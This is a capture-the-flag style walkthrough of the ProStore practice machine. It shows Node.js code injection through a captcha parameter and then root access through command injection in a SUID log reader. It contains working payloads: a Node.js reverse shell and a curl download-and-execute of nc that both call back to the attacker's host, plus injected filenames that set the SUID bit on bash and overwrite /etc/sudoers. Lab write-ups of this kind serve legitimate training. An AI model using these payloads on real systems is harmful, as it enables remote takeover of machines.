ProStore Proving Grounds Practice Walkthrough

0xRave
5 min readNov 30, 2023

--

Look closely at the website parameter, there might be something to get us initial foothold. For Privilege Escalation, check on some binary, and you might need gdb.

Photo by Mike Petrucci on Unsplash

Enumeration

nmap -p- $ip -Pn -sT  -v -A --open -T 4 -oN nmap.txt

Port 22 and 5000 running http.

Port 5000

From nmap result, we are aware the web apps use node.js framework. Let start browse the website.

It is a store website, and we are able to register an account. Browse around the web seems nothing much, dirb results show not much useful info as well. Let’s test on each parameter if we can find any potential injection.

Testing on parameter

To make our life easier, we use burp to capture all the HTTP requests by browsing and clicking each button. Since it is a small application, this can be done quickly.

Tested on login username password by adding a random special character and observed the error message or response. Seems nothing. Same goes to register page’s parameter. Then move on to the checkout page.

While testing the captcha parameter, we get an error “ReferenceError: abc is not defined” by enter abc as value.

Error message when entering string in captcha param

By googling the error message. it shows that it treats the abc as code. To further test this, first, we try a correct captcha which is 3, it will redirect to Thanks for shopping page. If we enter an incorrect number like 1, it will return “captcha error”.

So we try enter 1*1, it show captcha error. If we enter 1*3, it will redirect to Thanks for shopping page, which means it executes the 1*3.

You would like to avoid using + like 1+2 because + treats as space in HTTP request.

Check if it supports child process and able to execute command

Start nc -nvlp 80 to capture id command result from the target machine. Then replace captcha value as per below. Basically, we want to test if we are able to execute id and send the result to our kali nc listener.

captcha value
received id result

Great, let’s get our reverse shell.

Getting reverse shell

When we try replace the payload with nc $KaliIP 80 -e /bin/bash , it does not connect. We suspect -e option is not supported by the nc of the target machine. Alternative,

#You can get this reverse shell payload at revshells.com
captcha=3;(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/bash", []);var client = new net.Socket();client.connect(443, "$KaliIP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()

Or

#Transfer our nc to the target machine
cd /usr/bin
python3 -m http.server 80
#At burp, replace the payload to this, download nc output at /tmp then give execute permission
curl+http%3a//$KaliIP/nc+-o+/tmp/nc+%26%26+chmod+%2bx+/tmp/nc
#Execute the /tmp/nc, remember to stop python http server if you want to use port 80
nc -nlvp 80
#At burp, replace the captcha value
/tmp/nc+$KaliIP+80+-e+/bin/bash
Download nc
execute nc to get reverse shell
Reverse shell gain

Privilege Escalation

While checking SUID, we found an unknown SUID. You can find this via linpeas or find / -perm /4000 2>/dev/null

linpeas result show unknown SUID

Let try to run the binary. It shows the need to input a log file.

Execute log_reader

We create a log file name 1.log can input some random string in there and use log_reader to read it. It just display the content of 1.log.

Then we try to read /etc/shadow but nothing show up, not even error message. We tried strings /usr/loca/bin/log_reader but did not seems to find any useful string in the result. Then we try strace /usr/local/bin/log_reader 1.log and checked the process, but nothing much as well.

Then we check what other tools we have to help us understand this binary better via ls /usr/bin or from linpeas result.

linpeas result show useful tool on the target machine

We have gdb on this machine. Gdb is a very good debugging tools.

#At the target machine
gdb -q /usr/local/bin/log_reader
#In gdb terminal, use list command to list source code, this allow us better understand what the binary does
list

You can find gdb cheatsheet here.

list source code

It shows the file MIA. We check the /tmp directory if is hidden or what but NOPE. Then we try to find the file find / -name “log_reader.c” 2>/dev/null. We found it at /usr/share/src/log_reader.c.

By checking the file, we notice there is no input validation for the file name, as it only checks if .log exists in the file name.

file name validation
read the file via cat

From the readFile function, we notice it uses cat to read the log file, and the filename is user input where we input the log file to read. It uses strcat to combine the command and filename, then use popen to execute the command.

strcat(command, filename);

strcat is a function used to concatenate two strings. Here, it appends the string filename to the end of the string command.

result = popen(command, "r");

popen executes the string command as a shell command and opens a pipe to read the output of this command.

The "r" argument specifies that the pipe is opened in read mode.

In this case, if we input a filename like 1.log&&id, the binary will execute as cat 1.log&&id. Let’s give it a try.

try to create a file name 2.txt with 123 content
file create successfully

Based on the diagram above, the 2.txt file was created by root. This means we can execute command as root. Let’s get us a root shell.

#Method 1
/usr/local/bin/log_reader "1.log;chmod u+s /bin/bash"
/bin/bash -p
#Method 2
/usr/local/bin/log_reader "1.log&&echo 'observer ALL=(root) NOPASSWD: ALL' > /etc/sudoers"
sudo bash
Rooted!

Congratz !! Hope you learn something from this walkthrough. Check out my stories for other proving grounds machine walkthroughs. Leave a comment if you found another way to pawn this machine.

--

--